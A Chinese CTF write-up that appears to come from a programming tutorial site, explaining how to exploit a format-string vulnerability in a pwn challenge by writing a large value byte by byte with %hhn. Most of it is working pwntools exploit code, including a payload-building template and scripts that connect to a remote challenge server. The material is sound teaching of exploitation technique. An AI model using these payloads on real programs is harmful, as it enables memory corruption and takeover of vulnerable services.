Python網(wǎng)絡(luò)安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解
格式化字符串漏洞覆蓋大數(shù)字時(shí),如果選擇一次性輸出大數(shù)字個(gè)字節(jié)來(lái)進(jìn)行覆蓋,會(huì)很久很久,或者直接報(bào)錯(cuò)中斷,所以來(lái)搞個(gè)攻防世界高手區(qū)的題目來(lái)總結(jié)一下
pwn高手區(qū),實(shí)時(shí)數(shù)據(jù)監(jiān)測(cè)這道題,就是格式化字符串漏洞覆蓋大數(shù)字


題目運(yùn)行時(shí)會(huì)直接告訴你key的地址,我們只需要利用imagemagic中的printf利用格式化字符串漏洞來(lái)覆蓋就行了,但就像剛才說(shuō)的,直接覆蓋時(shí)間太久了而且會(huì)報(bào)錯(cuò),所以可以想想別的辦法
如果我們想覆蓋key為0x02223322,那么根據(jù)小端存儲(chǔ),在內(nèi)存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位
在格式化字符串中,%hhn會(huì)向某個(gè)地址寫(xiě)入單字節(jié),%hn 會(huì)向某個(gè)地址寫(xiě)入雙字節(jié),單字節(jié)的用的比較多
在這道題中,要覆蓋的地址為0x0804a048,要覆蓋的數(shù)據(jù)為0x02223322,相當(dāng)于
0x0804a048 \x22 0x0804a049 \x33 0x0804a04a \x22 0x0804a04b \x02
字符串偏移用%p計(jì)算出來(lái)為12

所以payload構(gòu)造如下
payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
很麻煩,但是wiki中給出了一個(gè)模板,無(wú)論在x86還是x64下都能使用
模板如下
#prev表示前面已輸出的字節(jié)
#word表示應(yīng)該輸出的字節(jié)
#index表示偏移量
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
#offset表示起始偏移量,比如這題為12
#size表示字節(jié)長(zhǎng)度,x86為4,x64為8
#addr表示要覆蓋的地址,這題為0x0804a048
#target表示要覆蓋的值,這題為0x02223322
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):#一次傳送一個(gè)字節(jié)
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)
這里要注意一下prev > word的情況,因?yàn)橐呀?jīng)輸出的字符串大于了我們要輸入的數(shù)值,所以前面加了256,一次只接受一個(gè)字節(jié),用溢出來(lái)穿,比如prev = 2,word = 1,result = 255,再算上之前已經(jīng)傳的2,一共是257,溢出之后就是1,就是我們要傳的數(shù)值
完整exp如下 我用的高版本烏班圖,然后是python3,所以做了一些修改,來(lái)保證bytes和str
from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12個(gè)參數(shù) AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
if prev < word:
result = word - prev
fmtstr = ('%' + str(result) + 'c').encode()
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = ('%' + str(result) + 'c').encode()
fmtstr += ('%' + str(index) + '$hhn').encode()
return fmtstr
def fmt_str(offset,size,addr,target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

參考ctf-wiki 跳轉(zhuǎn)處
也可以直接用fmtstr_payload,它是pwntools中的一個(gè)工具,可以簡(jiǎn)化格式化字符串漏洞的利用
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str
第一個(gè)參數(shù)為偏移,第二個(gè)參數(shù){addr:value}表示寫(xiě)入的數(shù)據(jù),第三個(gè)參數(shù)表示已輸出的字符,這里默認(rèn)值為0,我就沒(méi)寫(xiě),第四個(gè)參數(shù)表示寫(xiě)入?yún)?shù)一次寫(xiě)入的大小,有byte,short,int,對(duì)應(yīng)hhn,hn,n
exp如下
from pwn import *
p = remote('111.200.241.244', '58464')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()
非常簡(jiǎn)短,很方便
以上就是Python網(wǎng)絡(luò)安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解的詳細(xì)內(nèi)容,更多關(guān)于Python格式化字符串漏洞覆蓋大數(shù)字的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
- Python?Bleach保障網(wǎng)絡(luò)安全防止網(wǎng)站受到XSS(跨站腳本)攻擊
- Python庫(kù)Cerberus數(shù)據(jù)驗(yàn)證如何保證系統(tǒng)安全性正確性實(shí)例分析
- Python安全隱患最新URL解析漏洞防范措施
- Python hashlib庫(kù)數(shù)據(jù)安全加密必備指南
- Python?HMAC模塊維護(hù)數(shù)據(jù)安全技術(shù)實(shí)例探索
- python+html文字點(diǎn)選驗(yàn)證碼加固安全防線
- python+html實(shí)現(xiàn)免費(fèi)在線行為驗(yàn)證保護(hù)賬號(hào)安全
- certifi輕松地管理Python證書(shū)信任鏈保障網(wǎng)絡(luò)安全
相關(guān)文章
Python json讀寫(xiě)方式和字典相互轉(zhuǎn)化
這篇文章主要介紹了Python json讀寫(xiě)方式和字典相互轉(zhuǎn)化,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-04-04
python數(shù)據(jù)處理之Pandas類(lèi)型轉(zhuǎn)換的實(shí)現(xiàn)
本文主要介紹了python數(shù)據(jù)處理之Pandas類(lèi)型轉(zhuǎn)換的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2022-04-04
淺談PyTorch的數(shù)據(jù)讀取機(jī)制Dataloader與Dataset
這篇文章主要介紹了淺談PyTorch的數(shù)據(jù)讀取機(jī)制Dataloader與Dataset,DataLoader的作用是構(gòu)建一個(gè)可迭代的數(shù)據(jù)裝載器,每次執(zhí)行循環(huán)的時(shí)候,就從中讀取一批Batchsize大小的樣本進(jìn)行訓(xùn)練,需要的朋友可以參考下2023-07-07
python+mysql實(shí)現(xiàn)簡(jiǎn)單的web程序
python?opencv實(shí)現(xiàn)影像拼接
Python中的np.argmin()和np.argmax()函數(shù)用法
python生成requirements.txt文件的推薦方法

